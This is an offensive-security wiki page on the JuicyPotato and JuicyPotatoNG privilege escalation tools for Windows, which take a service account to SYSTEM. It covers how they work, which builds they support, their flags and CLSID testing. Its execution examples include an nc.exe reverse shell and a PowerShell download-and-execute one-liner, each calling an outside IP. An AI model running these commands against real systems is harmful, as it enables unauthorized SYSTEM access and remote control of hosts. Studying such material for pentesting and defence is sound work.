Skip to content
stellvia.dev

JuicyPotato and JuicyPotatoNG

This page covers how JuicyPotato and JuicyPotatoNG work, which environments they support, and how to run them. Whether they work depends on the Windows version and the privileges held by the current token.

[!WARNING] JuicyPotato is a legacy tool. It generally works through Windows 10 1803 / Windows Server 2016. Microsoft changes introduced in Windows 10 1809 / Server 2019 broke the original technique. On these and later builds, consider modern alternatives such as PrintSpoofer, RoguePotato, SharpEfsPotato/EfsPotato, and GodPotato. See the following page for current options and usage.

Related page: RoguePotato and PrintSpoofer

How JuicyPotato works

Section titled “How JuicyPotato works”

JuicyPotato is a tool for escalating from a service account to NT AUTHORITY\SYSTEM. It is based on RottenPotatoNG.

The JuicyPotato binary is available from the AppVeyor artifacts.

Check compatibility

Section titled “Check compatibility”
  • It works reliably through Windows 10 1803 / Windows Server 2016 when the current context has SeImpersonatePrivilege or SeAssignPrimaryTokenPrivilege.
  • Microsoft hardening in Windows 10 1809 / Windows Server 2019 and later broke it. Prioritize the alternatives above on these builds.

Overview

Section titled “Overview”

From the juicy-potato README:

RottenPotatoNG and its variants use a privilege escalation chain that works when the BITS service has a man-in-the-middle listener at 127.0.0.1:6666 and the user has SeImpersonate or SeAssignPrimaryToken privileges. During a Windows build review, we found a setup where BITS was deliberately disabled and port 6666 was in use.

So we weaponized RottenPotatoNG: Juicy Potato was born.

For the theory, see Rotten Potato - Privilege Escalation from Service Accounts to SYSTEM and follow its chain of links and references.

We found several exploitable COM servers besides BITS. The requirements are:

  1. The current user can instantiate the server, typically a “service user” with impersonation privileges.
  2. It implements the IMarshal interface.
  3. It runs as an elevated user (SYSTEM, Administrator, and so on).

After several tests, we collected and verified many interesting CLSIDs that work across different Windows versions.

What it can do

Section titled “What it can do”

JuicyPotato lets you configure:

  • Target CLSID Choose any CLSID. An OS-specific list is available here.
  • COM listening port Specify any COM listening port instead of the marshalled, hard-coded 6666.
  • COM listening IP address Bind the server to any IP address.
  • Process creation mode Choose based on the impersonated user’s privileges:
    • CreateProcessWithToken (requires SeImpersonate)
    • CreateProcessAsUser (requires SeAssignPrimaryToken)
    • both
  • Process to launch Specify the executable or script to launch when the exploit succeeds.
  • Process argument Customize arguments for the launched process.
  • RPC server address Authenticate to an external RPC server as a stealthier approach.
  • RPC server port Useful when authenticating to an external server but a firewall blocks port 135.
  • TEST mode Primarily for testing CLSIDs. It creates a DCOM object and displays the token’s user. See the tests here.

Usage

Section titled “Usage”
T:\>JuicyPotato.exe
JuicyPotato v0.1


Mandatory args:
-t createprocess call: <t> CreateProcessWithTokenW, <u> CreateProcessAsUser, <*> try both
-p <program>: program to launch
-l <port>: COM server listen port


Optional args:
-m <ip>: COM server listen address (default 127.0.0.1)
-a <argument>: command line argument to pass to program (default NULL)
-k <ip>: RPC server ip address (default 127.0.0.1)
-n <port>: RPC server listen port (default 135)

Points to keep in mind

Section titled “Points to keep in mind”

From the juicy-potato README:

If a user has SeImpersonate or SeAssignPrimaryToken privileges, they become SYSTEM.

Preventing abuse of all these COM servers is nearly impossible. You might consider changing these objects’ permissions in DCOMCNFG, but good luck; it would be quite difficult.

The practical solution is to protect sensitive accounts and applications running under * SERVICE accounts. Stopping DCOM will certainly prevent this exploit, but it may seriously affect the underlying OS.

From: http://ohpe.it/juicy-potato/

JuicyPotatoNG (2022+)

Section titled “JuicyPotatoNG (2022+)”

JuicyPotatoNG brings JuicyPotato-style local privilege escalation back to modern Windows by combining:

  • DCOM OXID resolution to a local RPC server on a chosen port, avoiding the old, hard-coded 127.0.0.1:6666 listener.
  • An SSPI hook that captures and impersonates inbound SYSTEM authentication without requiring RpcImpersonateClient. This enables CreateProcessAsUser even when only SeAssignPrimaryTokenPrivilege is available.
  • Tricks to satisfy DCOM activation constraints, such as the old INTERACTIVE group requirement when targeting PrintNotify / ActiveX Installer Service classes.

Important caveats (behavior changes across builds):

  • September 2022: The initial technique using the “INTERACTIVE trick” worked on supported Windows 10/11 and Server targets.
  • January 2023 author update: Microsoft later blocked the INTERACTIVE trick. Another CLSID ({A9819296-E5B3-4E67-8226-5E72CE9E1FB7}) restored exploitation, but the post says this works only on Windows 11 / Server 2022.

Basic usage example (see the help output for more flags):

JuicyPotatoNG.exe -t * -p "C:\Windows\System32\cmd.exe" -a "/c whoami"
# Useful helpers:
#  -b  Bruteforce all CLSIDs (testing only; spawns many processes)
#  -s  Scan for a COM port not filtered by Windows Defender Firewall
#  -i  Interactive console (only with CreateProcessAsUser)

If classic JuicyPotato has been patched on Windows 10 1809 / Server 2019, prioritize the alternatives linked at the start (RoguePotato, PrintSpoofer, EfsPotato/GodPotato, and others). NG may be limited by the build or service state.

Execution examples

Section titled “Execution examples”

Note: See this page for a list of CLSIDs to try.

Get an nc.exe reverse shell

Section titled “Get an nc.exe reverse shell”
c:\Users\Public>JuicyPotato -l 1337 -c "{4991d34b-80a1-4291-83b6-3328366b9097}" -p c:\windows\system32\cmd.exe -a "/c c:\users\public\desktop\nc.exe -e cmd.exe 10.10.10.12 443" -t *


Testing {4991d34b-80a1-4291-83b6-3328366b9097} 1337
......
[+] authresult 0
{4991d34b-80a1-4291-83b6-3328366b9097};NT AUTHORITY\SYSTEM


[+] CreateProcessWithTokenW OK


c:\Users\Public>

PowerShell reverse shell

Section titled “PowerShell reverse shell”
.\jp.exe -l 1337 -c "{4991d34b-80a1-4291-83b6-3328366b9097}" -p c:\windows\system32\cmd.exe -a "/c powershell -ep bypass iex (New-Object Net.WebClient).DownloadString('http://10.10.14.3:8080/ipst.ps1')" -t *

Launch CMD during an RDP session

Section titled “Launch CMD during an RDP session”

CLSID issues

Section titled “CLSID issues”

The default CLSID used by JuicyPotato often does not work, causing the exploit to fail. Usually, several attempts are needed to find a working CLSID. See the following page for a list of CLSIDs to try for a particular operating system:

Check CLSIDs

Section titled “Check CLSIDs”

First, you need several executables in addition to juicypotato.exe.

Download Join-Object.ps1 and load it into your PowerShell session. Then download and run GetCLSID.ps1. This script generates a list of CLSIDs to test.

Next, download and run test_clsid.bat, changing the paths to the CLSID list and juicypotato executable. It tests every CLSID; if the port number changes, that CLSID worked.

Verify working CLSIDs with the -c parameter.

References

Section titled “References”